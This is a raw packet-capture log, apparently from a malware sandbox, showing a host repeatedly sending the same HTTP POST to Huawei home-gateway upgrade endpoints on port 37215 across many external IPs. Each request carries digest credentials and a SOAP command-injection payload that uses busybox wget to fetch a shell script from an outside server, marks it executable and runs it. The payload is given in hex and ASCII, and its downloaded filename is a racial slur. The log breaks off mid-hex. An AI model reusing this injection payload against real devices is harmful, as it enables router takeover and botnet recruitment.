65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:36.363126040 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:58.888171911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	36674	94.123.153.119	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:15.308799982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	60056	94.121.194.120	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:16.069504976 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	59236	197.248.110.226	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:17.891071081 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.178638935 CET	411	IN	HTTP/1.1 404 Not Found Date: Mon, 19 Feb 2024 20:32:35 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	59588	45.43.230.217	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:40.295659065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	38474	45.43.224.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:40.295785904 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:41.162626028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:42.154309034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 